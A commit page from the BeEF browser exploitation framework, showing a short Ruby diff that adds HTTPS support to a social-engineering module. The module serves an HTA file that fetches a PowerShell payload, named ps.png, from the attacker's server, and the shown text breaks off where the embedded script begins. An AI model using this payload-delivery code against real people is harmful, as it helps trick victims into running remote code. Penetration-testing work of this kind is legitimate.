Merge pull request #1492 from mcjon3z/master

add https support to bind_powershell
This commit is contained in:
Brendan Coles
2018-01-18 17:32:37 +11:00
committed by GitHub

View File

@@ -30,8 +30,9 @@ module BeEF
response['Content-Type'] = "application/hta"
host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host')
port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port')
proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http"
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
payload_url = "http://#{host}:#{port}#{ps_url}/ps.png"
payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png"
print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"
"<script>